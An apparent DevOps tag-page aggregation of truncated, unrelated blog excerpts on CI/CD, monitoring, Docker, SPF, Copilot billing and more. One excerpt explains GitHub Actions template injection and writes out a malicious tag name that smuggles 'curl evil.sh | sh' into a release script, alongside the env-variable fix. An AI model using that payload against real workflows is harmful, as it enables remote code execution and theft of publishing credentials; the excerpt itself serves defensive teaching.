标签：#DevOps

I cross-post my articles to dev.to. Looking at the numbers, the posts tagged agents were getting traffic and the one without it had a single view in twenty hours. Obvious fix: add agents to that post. I sent a PUT updating the tags. The response was 200. I opened the post. The tags were unchanged. Three requests, three 200s, three identical responses Assuming I'd malformed the request, I ran the smallest test I could: three PUTs to the same article, sending agents , then python,agents , then the original tags. All three returned 200. All three returned byte-identical bodies — the tags the post was created with. The truth: dev.to tags are immutable after publish, and the API silently ignores the field. Not a 403 saying you can't do that. Not a 422 saying the field is read-only. A 200, and then nothing happens. That one field made me wrong twice The first time was the day before. I'd sent 4 tags and gotten 3 back. My conclusion: dev.to caps tags at 3. That conclusion is entirely reasonable. You send four, you get three, what else would it be? I was confident enough to write MAX_TAGS = 3 into a script comment as an established fact. What actually happened: the tags field was never applied at all. What came back were the three tags from creation time. It had nothing to do with a cap. I could have sent one tag or ten and gotten the same three. One silently ignored field, two wrong conclusions in two days, and I committed one of them to source control as documentation for my future self. That's the real cost. Not the failed request — the false fact I wrote down as knowledge. Why 200 is more dangerous than an error An error interrupts you . It forces a stop, and it usually tells you something true. Even when the message is imprecise, "this did not work" is accurate information. A 200 doesn't interrupt you. You tick the step off and move on. You proceed on a false premise, believing you verified it. Going back through my ops log, this failure mode shows up more than once. A

The pattern AI coding agents are good at producing a diff that works in the narrowest sense — the function still returns what the test expects. What they're not reliably good at is preserving properties nobody wrote a test for in the first place. The two we kept running into: an authorization check quietly dropped during an agent-driven refactor (nothing failed, because no test covered who was allowed to call the route — only that the route worked), and a rewritten query that behaved fine against a small dev dataset and full-table-scanned the moment it hit production data. Neither shows up in CI as it exists today. Both show up in code review only if the reviewer happens to look at exactly the right five lines out of a few hundred. What we built Agent Code Merge Gate is a free GitHub Action, now live on the GitHub Marketplace , that runs on every pull request and scans the diff specifically for those two regression classes. It runs an offline heuristic pass (fast, no external call) plus one AI-backed pass for a short Executive Summary, and posts a single comment back to the PR that updates on every push rather than piling up duplicates. Deliberately narrow scope — it's not trying to be a general linter. It covers the two failure modes we found ourselves manually re-checking for once AI-generated PRs became the majority of our merge volume. Wiring it into CI Three lines in a workflow file: ​ - name : Agent Code Merge Gate uses : avalonlabs-platform/agent-code-merge-gate@v1.0.0 ​``` { % endraw % } No signup and no config needed for the default behavior. Two inputs worth knowing about : { % raw % } `fail-on-critical : true ` turns a CRITICAL finding into an actual failed check instead of just a comment, and `comment-on-pr : false ` if you'd rather build your own notification from the raw `status` output. ## What's next Right now it's diff-scoped — it sees what changed in this PR, not the whole repo's history of how that code got there, which limits how much context it

Golden Images How I Stopped Manually Logging Into Every New Server The problem Every time I spun up a new server for a service, it worked but it wasn't actually ready . There was always one manual step left: log in, run through some interactive setup, get the application into a working state. Only after that could the server actually do its job. For one server, that's a minor annoyance. For a fleet that's supposed to scale up and down on demand, it's a dealbreaker. You can't call something "automated provisioning" if a human still has to remote in and click through a setup wizard before it's usable. The fix: capture the setup once, replay it everywhere The pattern here is usually called a golden image and the idea is simple: instead of repeating a manual setup step on every new machine, do it once, capture the result of that setup, and have every future machine apply that captured state automatically during provisioning. Concretely, I built a small tool that: Connects to a machine that's already been through the manual setup and is in a known-good state. Packages up just the state that setup actually produced not the whole machine, just the specific files/config that resulted from the manual steps. Uploads that package to storage, versioned. Then the provisioning script for every new machine downloads that package and applies it automatically as part of boot no human, no remote session, no wizard. The mistake worth mentioning My first version of this captured too much. Instead of packaging just the setup-derived state, it grabbed an entire application data folder which included the application's own installed binaries, not just the configuration that setup had produced. That meant every new machine, when it applied the "golden" package, got its fresh application install silently overwritten with whatever binary version happened to be running on the machine I captured from. New servers ended up running an older version of the software than the one they'd just install

A solid observability setup usually comes down to three pieces working together: something that collects metrics, something that exposes system-level metrics, and something that visualizes it all. Here's what each one does and how to install them. The Theory: How This All Fits Together Before installing anything, it helps to understand the model, because it's a bit different from how logging or alerting tools usually work. Pull, not push. Most people's first instinct is "the app should send its metrics somewhere." Prometheus flips that around — it pulls metrics on a timer instead. Every target (a machine, a service, an app) exposes a simple HTTP endpoint, usually /metrics , that just returns plain text numbers. Prometheus visits that endpoint every N seconds (the "scrape interval") and saves whatever it finds, with a timestamp attached. Nothing gets pushed to Prometheus — Prometheus goes and asks. This means for anything to show up in Prometheus, it has to satisfy one requirement: something has to expose a /metrics endpoint Prometheus can reach. That's the whole game. Everything else in this stack exists to satisfy that one requirement or to make the data useful afterward. Why Node Exporter exists. Your operating system doesn't naturally speak Prometheus's language — it doesn't expose CPU/memory/disk stats as a /metrics endpoint by default. Node Exporter's only job is to read stats the OS already tracks (via /proc and /sys on Linux) and republish them in the text format Prometheus expects, on port 9100. It's a translator, not a monitoring tool by itself — it collects nothing, decides nothing, alerts on nothing. It just answers "what does this machine look like right now?" whenever asked. Why Prometheus itself is separate. Prometheus doesn't know anything about CPUs or memory — it has no idea what it's scraping. It just knows: "go hit this list of URLs on a schedule, and remember what comes back." The intelligence is in the config (which targets to scrape, how often)

DigitalOcean App Platform is a metered system charged by app; Peon provisions limitless services to your existing Droplet. A practical pricing and feature comparison. The same cloud, but two very distinct approaches. There are two methods of deploying your app with DigitalOcean, and the pricing disparity between the two may be much greater than you expected. App Platform is the managed PaaS service: you integrate with the code repository, and DigitalOcean provisions, deploys and maintains your app. The costs include monthly rates per component starting at $5 for web services plus separate payments for workers plus $7+ for a development database and $15+ for a production database. The alternative way is just a regular Droplet: either a $6 VPS (1 CPU, 1 GB) or a $12 VPS (1 CPU, 2 GB) with ability to run as many containerized apps as it has available resources. Traditionally, the droplet approach required self-managing your infrastructure, exactly what a platform like Peon fixes. Cost at small scale, with real numbers For example, take a regular indie/agency load of three small apps, shared Postgres, and Redis. In App Platform, this would cost about $37 a month, where three web services ($15), a managed dev database ($7), and Redis ($15) are the cheapest tier offerings (share CPU, limited to 512 MB memory). On one $12 Droplet using Peon, $12 for the Droplet, $6 for three projects running, all with access to 2 GB of memory plus. About $18 per month total, and the ability to use as much memory as the application needs (without being limited to 512 MB slices). And this ratio grows with every additional service, as the costs for the additional Droplet resources are already included. The fourth app on App Platform will add somewhere between $5 and $12 of the bill; on your own Droplet, $2. Comparison of features Push Git deployment: both, with build log Automatic HTTPS for custom domains: both Roll out and roll back with zero downtime: both Database support: App Platform nee

post 8: You run a container. It starts successfully. The application works. So… is it production-ready? Not necessarily. The real test of a production container isn't what happens when everything works. It's what happens when something goes wrong. What happens when the application consumes all available memory? What happens when the process crashes? What happens when the application is running, but isn't actually healthy? Where do the logs go? How do you know something is wrong before users tell you? And when the container fails, how do you find the actual cause? Running Docker in production isn't just about starting containers. It's about making them reliable, observable, manageable, and recoverable. 1. Production Starts With Boundaries A container that works perfectly on a developer's laptop can behave very differently under production load. Development often prioritizes: Speed Convenience Easy debugging Frequent changes Production prioritizes: Reliability Predictability Security Observability Recovery One of the first production questions is: What happens if this container consumes more resources than expected? That's where resource limits come in. 2. Resource Limits – Don't Let One Container Consume Everything Without appropriate resource limits, a container can consume more host resources than intended. For example: docker run \ --memory = 512m \ --cpus = 1.0 \ nginx This limits the container to: 512 MB memory 1 CPU Why does this matter? Imagine one application suddenly starts consuming several gigabytes of memory. Without appropriate limits, it could affect other workloads running on the same host. Resource limits create boundaries between workloads. But remember: A resource limit doesn't fix a memory leak. It only limits how much damage that container can cause to the host. So now we have another question: What if the container is running, but the application inside it is broken? 3. Health Checks – Running Doesn't Mean Healthy One of the most important produc

There is one line of YAML I have been chasing across open source for months: run : | TAG="${{ github.event.release.tag_name }}" It looks like reading a variable. It is not. ${{ ... }} is a template expression . GitHub substitutes it as raw text into the script before bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program. So a tag named: v1.0 "; curl evil.sh | sh; echo " is not compared. It runs. Why it is always the release workflow You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes. That is not a coincidence. Release workflows are where you handle version strings, tag names, and workflow_dispatch inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live: permissions : id-token : write # Trusted Publishing to PyPI The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users. The JavaScript variant is worse actions/github-script has the same flaw, but people miss it because the block looks like a script file: - uses : actions/github-script@v7 with : script : | const tag = '${{ env.RELEASE_TAG }}'; That script: body is JavaScript source . The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code. And a tag name absolutely can contain a single quote. git check-ref-format rejects spaces, ~ , ^ , : , ? , * , [ and backslash. It does not reject ' . The fix is three lines Pass the value through env . An environment variable is only ever data — it is never re-parsed as source text. # Before run : | TAG="${{ github.event.release.tag_name }}" # After env : RELEASE_TAG : ${{ github.event.release.tag_name }} run : | TAG="$RELEASE_TAG" Same for the JavaScript case — process.env.RELEASE_TAG ins

Measuring the impact of test automation goes beyond simple pass/fail ratios. To demonstrate real engineering excellence and business value, automation metrics must capture execution speed, suite stability, test coverage, maintenance cost, and CI/CD integration. Here is a comprehensive, unified KPI framework designed specifically for Playwright & JavaScript automation suites. 📊 Executive KPI Targets Category Metric Target Execution Speed Runtime Reduction 50% ↓ Efficiency Throughput +40% ↑ Stability Flaky Tests < 3% Reliability Retry Dependency < 5% Coverage Automation Coverage 80%+ Quality Defect Leakage 20–30% ↓ Productivity Script Dev Time 30% ↓ CI/CD Pipeline Time 40% ↓ ROI Automation ROI Positive (3–6 months) Cost Manual Effort Reduction 30–50% ↓ 1. Execution Efficiency & Speed Test Execution Time Reduction: Target 40–60% reduction vs legacy frameworks like Selenium. $$\text{Reduction \%} = \frac{\text{Old Time} - \text{New Time}}{\text{Old Time}} \times 100$$ Parallel Execution Efficiency: Measure tests executed per hour and parallel thread utilization. $$\text{Efficiency \%} = \frac{\text{Sequential Time} - \text{Parallel Time}}{\text{Sequential Time}} \times 100$$ Test Throughput: Maximize total test cases executed per CI window. CI/CD Pipeline Cycle Time: Aim for a 30–40% total reduction in build + test execution duration. 2. Stability & Reliability Flaky Test Rate: Keep flaky tests under 2–3% by leveraging Playwright's native auto-waiting and resilient locators. $$\text{Flakiness \%} = \frac{\text{Flaky Tests}}{\text{Total Tests}} \times 100$$ Retry Dependency Ratio: Track the percentage of tests passing only after retries to minimize false positives. Failure Root Cause Accuracy: Target >90% of test failures pointing directly to genuine application defects rather than script instability. 3. Coverage Metrics Automation Coverage: Maintain 80%+ regression coverage across all functional scenarios. Cross-Browser & Device Coverage: Measure test runs across Chromi

Tracking test automation metrics manually often leads to outdated figures and missed engineering gaps. To solve this, automated reporting directly from your test suites—such as Playwright and Cucumber—provides clear visibility into health, execution speed, and coverage. Below is a breakdown of how to structure an Automation KPI Dashboard to streamline test metrics, track trends, and establish actionable engineering goals. Executive Summary Dashboard KPI Metric Target Current Value Status Trend Total Test Cases 100% coverage 85% 🟡 Partial ↗️ Up Automated Test Coverage 90%+ 78% 🟡 Partial ↗️ Up Pass Rate (Last Run) 95%+ 92% 🟡 Partial ↔️ Stable Avg. Execution Time < 30 min 28 min 🟢 Good ↘️ Down Flaky Test Rate < 2% 1.5% 🟢 Good ↔️ Stable Defects Detected — 3 🟡 Review ↔️ Stable CI/CD Pipeline Success 100% 98% 🟡 Partial ↗️ Up Key Metric Breakdowns 1. Coverage & Execution Total Test Suite: 120 tests (94 Automated, 26 Manual). Latest Run (2026-05-29): 94 executed — 87 passed, 7 failed, 0 skipped. 2. Flakiness Tracking Flaky Tests (Last 10 Runs): 2 scenarios identified. Top Offenders: Scenario A: UI timeout issues. Scenario B: Data synchronization lag. 3. Defect Detection & CI/CD Performance Defect Lifecycle: 3 opened, 1 closed (Avg. resolution time: 2 days). Pipeline Health: 98% success rate, 12 min average build time. Primary Cause of Pipeline Failure: Dependency resolution errors. Execution & Pass Rate Trends (Last 6 Runs) Run Date Pass % Fail % Flaky % Duration (min) 2026-05-29 92% 8% 2% 28 2026-05-28 91% 9% 2% 29 2026-05-27 90% 10% 3% 30 2026-05-26 89% 11% 3% 31 2026-05-25 88% 12% 4% 32 2026-05-24 87% 13% 4% 33 Next Engineering Action Items Automation Expansion: Push total automated coverage past 90%. Flakiness Mitigation: Refactor explicit waits and isolation for UI timeout and data sync scenarios. Pipeline Stability: Resolve dependency caching errors to bring CI/CD success to 100%. Optimization: Lower execution suite duration below 25 minutes using parallel run setups.

I just started a blog and published my first blog post about Logical Volume Management. I'm new to documenting my work, so I'd really appreciate any feedback on the content, clarity, or writing style in general. This site is a mix of a blog and a portfolio. Since I'm new to all of this, it would be great to get some feedback on whether this post works well just as a blog post, or if it actually holds up as a portfolio project too, before I keep writing more. www.mvtechblog.com Thanks in advance.

The same zsh script could list ~/Documents when I ran it in Terminal. Started as a LaunchAgent, it failed with: ls: /Users/administrator/Documents: Operation not permitted The LaunchAgent had the same user ID, the same $HOME , and the same script. That combination makes this look like a Unix permission problem. In this test it was not. The useful discriminator was the launch context: access succeeded from Terminal, failed from launchd , and still succeeded for a path outside the protected folder. I reproduced this on macOS 15.6.1 (Darwin 24.6.0) with a LaunchAgent in gui/501 . The probe was removed after the test. Why chmod is the wrong first check The obvious suspects were file ownership, a wrong home directory, or a job running as another user. The probe printed those facts before touching the files: #!/bin/zsh print -- "user= $( id -un ) uid= $( id -u ) " print -- "home= $HOME pwd= $PWD " /bin/ls " $HOME /Documents" 2>&1 | /usr/bin/head -5 /bin/cat " $HOME /Documents/vinh/working/CLAUDE.md" 2>&1 | /usr/bin/head -1 # Negative control: outside Documents /bin/ls " $HOME /.pf004" 2>&1 | /usr/bin/head -5 The two runs produced this difference: Check Terminal LaunchAgent in gui/501 User / uid administrator / 501 administrator / 501 $HOME /Users/administrator /Users/administrator ls ~/Documents Listed entries Operation not permitted cat inside ~/Documents Read the file Operation not permitted ls ~/.pf004 Listed entries Listed entries The working directory differed, but the script used absolute paths under $HOME , so PWD=/ did not explain the denial. The negative control mattered more: the LaunchAgent could read another directory owned by the same user. Changing ownership or mode bits would not explain why only the launch context changed the result. The owning layer is the privacy context On this machine, the access decision was attached to how the process was launched, not just to uid 501. Terminal had a privacy context that allowed access to the user's Documents folder.

Short answer: compare a hosted app log search service, self-hosted Loki, and Elastic Cloud by the operational boundary each one creates. Low effort, data control, and search depth are different decision axes; the cheapest choice is the one that produces a trustworthy signal without making a small team operate a second product. That last sentence is the decision rule. A low invoice is not a useful bargain if the first incident reveals missing logs, duplicate alerts, or an index that nobody knows how to restore. The incident lesson: a log is not a health signal I've been paged for two different failures: a scheduled import that stopped producing results, and a job that delivered the same result twice. Both incidents had logs. Neither incident was solved by collecting more text. The invariant is simple: observability has to describe both activity and the absence of expected activity. An app log search system can help investigate an import after an alert fires. It cannot, by itself, prove that an import that should have run did not run. That missing event needs a heartbeat, a durable job record, or a metric with an explicit freshness deadline. For an edtech application importing course data, I would record the import name, run identifier, start and finish timestamps, outcome, item count, and an idempotency key. The alert should fire when the expected completion window passes, not whenever somebody happens to search a log stream. Duplicate deliveries should be visible as a repeated idempotency key, not mistaken for two successful business operations. Keep the signal narrow. The log search layer then answers the next question: what happened around the missed or duplicated run? That division keeps noisy search data from becoming the only source of truth for scheduled work. How should a small business compare self-hosted and hosted app log search? Compare the complete operating boundary, not the storage line item. A self-hosted Loki deployment gives the team direct control

GitHub Copilot premium requests are the metered unit that determined how much advanced Copilot usage your plan covered, and if you are searching for how they work in mid-2026, you need two answers, not one. First, the mechanics: a premium request is consumed each time you use an advanced Copilot feature, scaled by a per-model multiplier, against a fixed monthly allowance that came with your plan. Second, the news: as of June 1, 2026, GitHub moved Copilot from request-based billing to usage-based billing , and premium requests are now officially labeled "legacy" throughout GitHub's own documentation. Their replacement is GitHub AI Credits, metered at one cent per credit. Both systems matter today. Annual Copilot Pro and Pro+ subscribers who stayed on their existing plans are still billed in premium requests, and every question about the new credits model (allowances, overages, admin controls) is easier to answer if you understand the system it replaced. Here is the complete picture, with the numbers. What is a premium request? GitHub's definition is simple: a request is any interaction where you ask Copilot to do something, whether that is generating code, answering a question, or reviewing a pull request. Routine interactions, like inline code completions, are unlimited on every paid plan and never touch the meter. Premium requests are the interactions that use more advanced processing, and they draw down a monthly allowance: Copilot Chat : one premium request per user prompt, multiplied by the model's rate (ask, edit, agent, and plan modes all count). Copilot code review : each review consumed one request originally; since June 1, 2026 it carries a 13x multiplier , so a single review deducts 13 premium requests. Copilot coding agent and CLI : one premium request per prompt or session, times the model's rate. Only your prompts count; the autonomous tool calls Copilot makes along the way do not. Spark : a fixed rate of four premium requests per prompt. The critical n

Have you ever stopped to think about the risk of having a pipeline where any merge into the main branch deploys straight to production without a single safety gate? For a long time, our workflow here was that classic setup almost every developer has used at some point: merge on main triggering an SSH script with git pull and pm2 restart It worked for day-to-day tasks, but it gave a false sense of stability lol The reality check hit when I found a critical blind spot in the automation: remote SSH scripts were running without strict error handling. In other words, if a git pull caused a conflict or a database migration failed halfway through, the script simply ignored the failure, ran to the end, and GitHub Actions marked the pipeline as green The absolute worst-case scenario for monitoring: the pipeline reported that everything went smoothly, while production was already completely down On top of that, the execution order was inverted: database migrations were running before the application build. If TypeScript threw a type error right after, the database schema had already advanced while the new code never booted. And since Prisma has no native down migrations, rolling back meant a high-risk manual intervention I decided to stop everything and redesign our delivery pipeline from scratch, starting from one clear premise: a tag is a release, a merge is not Today, nothing touches the production server without an annotated SemVer tag, going through 6 tightly coupled stages: Strict tag validation: only accepts annotated tags matching vX.Y.Z, ensuring author, timestamp, and audit trail for every single release Quality gates across PR and Release: automated tests with Vitest, strict typechecking, builds, and migration validation against a clean database via workflow_call Decoupled backups: an independent daily scheduled routine combined with a mandatory safety snapshot right before touching production Real migration dry-run: the most valuable gate, where the pipeline resto

Most monitoring watches for something bad to appear: a 500, a timeout, an expired certificate, a slow response. A heartbeat monitor does the opposite. It watches for something good to stop appearing . Your cron runs, your backup completes, your embedded device phones home, your queue worker drains — and each of those pings a URL to say "I'm still alive." The monitor's job is to notice when the pings go quiet. That inversion is the entire value. A cron that fails throws an error you can catch. A cron that stops being scheduled — the box got reimaged, the systemd timer got disabled, the container never came back after a deploy, the account got suspended for an unrelated billing issue — throws nothing at all. There is no log line, no exception, no non-zero exit. There is only the absence of the thing that used to happen. You cannot alert on an event that does not fire. You can only alert on the silence. So heartbeat monitoring looks trivial: store a timestamp on every ping, and if now - last_seen > expected_interval , fire an alert. It is about ten lines. And it is exactly those ten lines that will let 43 days of downtime pass without a second word — because the hard part of a dead-man's switch is not detecting the death. It is staying loud after it. I know because it happened to our own. Three states, and why the third one must stay silent Start with the check itself. A naive heartbeat has two states — alive or dead — and both are wrong at the edges. The real answer set has three: alive — a beat arrived within period + grace . Everything is fine. dead — the last beat is older than period + grace . The thing stopped. Page someone. unknown — the monitor exists but has never received a single beat. That third state is where two-state heartbeat monitors self-immolate. A brand-new heartbeat you just created has no last_seen timestamp. If your rule is "alert when last_seen is too old," a null last_seen is infinitely old, so the monitor pages you the instant you create it —

The SPF redirect trap: why -all can make redirect= useless SPF records often look simple until you start combining mechanisms and modifiers. One particularly easy mistake is to write a record like this: v=spf1 include:_spf.google.com -all redirect=_spf.example.com At first glance, it seems reasonable: authorize Google, reject everything else, and use another SPF policy through redirect= . But the redirect= part will never be used. The reason is an important detail of how SPF evaluation works. redirect= is not a fallback after -all An SPF record is evaluated mechanism by mechanism. For example: v=spf1 ip4:192.0.2.10 include:_spf.google.com -all The receiver checks the mechanisms until one matches. The all mechanism is special because it always matches . That means: -all effectively says: If nothing before this matched, return SPF Fail. Now consider this record again: v=spf1 include:_spf.google.com -all redirect=_spf.example.com Once SPF reaches -all , it already has a result. There is no reason to evaluate redirect= . The redirect modifier is only used when none of the mechanisms in the record produce a match. Because all always matches, a record containing all prevents redirect= from being used. What redirect= is actually for The redirect modifier is useful when several domains should share one central SPF policy. Imagine these domains: example.com example.net example.org Instead of maintaining the same SPF configuration independently on every domain, they can redirect to a central policy. For example: example.com TXT "v=spf1 redirect=_spf.example.com" example.net TXT "v=spf1 redirect=_spf.example.com" example.org TXT "v=spf1 redirect=_spf.example.com" And the central record might contain: _spf.example.com TXT "v=spf1 ip4:192.0.2.10 include:_spf.google.com -all" Now the sending policy can be maintained in one place. This is very different from include: . redirect= vs include: These two are easy to confuse. include: Use include: when you want to authorize senders def

Security researchers are warning that thousands of enterprise servers could be exposed to compromise through vulnerabilities in their Baseboard Management Controllers (BMCs) - specialized processors embedded in server motherboards that provide administrators with remote, out-of-band control. By Craig Risi

AI coding agent Cursor has launched Origin, a git based code hosting platform embedded inside its AI-powered editor, positioning it as an alternative to GitHub for teams that already work in Cursor. Origin is rolling out in early beta on Pro, Teams and Enterprise plans, and lives inside a new Codebase tab within the Cursor application. By Matt Saunders

Originally published at ai.bedvibe.studio . I built a real-time tracker in Rust — about two thousand lines — that reads a live ADS-B feed, keeps a Kalman-filtered track per aircraft, and screens every pair for closest approach against separation minima. Roughly 150 aircraft, a full cycle in under a millisecond. It ran clean. Tests passed, the picture looked right, the numbers were plausible. It was refusing about one measurement in nine , and the only reason I ever found out is that the rejections went to a counter instead of a log line. The gate has a sub-second tolerance for clock error The tracker runs an innovation gate: when a position arrives, the filter predicts where the aircraft should be, and if the measurement is too far from that prediction it is rejected as physically impossible rather than believed. Once a track converges the innovation standard deviation settles around 36 m, so a five-sigma gate sits at roughly 180 m. An airliner at 250 m/s covers 180 m in 0.7 seconds . So the gate's entire tolerance for a wrong timestamp is under one second. Any pipeline that mis-times its measurements by more than that will have them rejected — correctly, and invisibly. The feed reports its own staleness. The pipeline dropped it. Every ADS-B record carries a field saying how old that position already was when the response was generated. In the original build it was parsed into the contact struct and never read again — the only other place that field appeared in the entire codebase was as 0.0 in test fixtures. Every measurement was therefore stamped with the tracker's own cycle clock, as though it had been observed at the instant it landed. This is the common case, not an exotic one. A field that is decoded and then unused looks identical to a field that is decoded and used , right up until you go looking for its second reference. Here is what that field actually contains, sampled across two consecutive polls of the live feed: reported age of position median 0.31 s p

The Problem with Most CI/CD Tutorials Most tutorials show you a pipeline that deploys a "hello world" app to a free Heroku instance. They skip the messy parts: secrets, rollbacks, and the moment your pipeline breaks because a dependency changed. I've been there. After years of fighting with over-engineered setups, I settled on a minimal pipeline that's easy to understand, debug, and extend. It's not fancy, but it works. The Core Idea A CI/CD pipeline is just three stages: Test - run automated checks Build - create an artifact Deploy - push the artifact to a server We'll use GitHub Actions because it's free for public repos and integrates with everything. But the same concepts apply to GitLab CI, CircleCI, or Jenkins. The Pipeline File Here's the complete .github/workflows/deploy.yml : name : CI/CD on : push : branches : [ main ] pull_request : branches : [ main ] jobs : test : runs-on : ubuntu-latest steps : - uses : actions/checkout@v4 - uses : actions/setup-node@v4 with : node-version : ' 20' - run : npm ci - run : npm test build-and-deploy : needs : test runs-on : ubuntu-latest if : github.ref == 'refs/heads/main' && github.event_name == 'push' steps : - uses : actions/checkout@v4 - run : npm ci - run : npm run build - name : Deploy to server uses : appleboy/scp-action@v0.1.7 with : host : ${{ secrets.SERVER_HOST }} username : ${{ secrets.SERVER_USER }} key : ${{ secrets.SSH_PRIVATE_KEY }} source : " dist/*" target : " /var/www/myapp" That's it. Let's break it down. Stage 1: Test The test job runs on every push and pull request. It checks out the code, installs dependencies with npm ci (which respects the lockfile), and runs your test suite. If a PR fails tests, the build-and-deploy job won't run because of the needs: test dependency. Stage 2: Build The build-and-deploy job only runs on pushes to main (not on PRs). It builds your app into a dist folder. For a Node.js app, npm run build might be a bundler like Vite or webpack. For a Python app, you'd replace with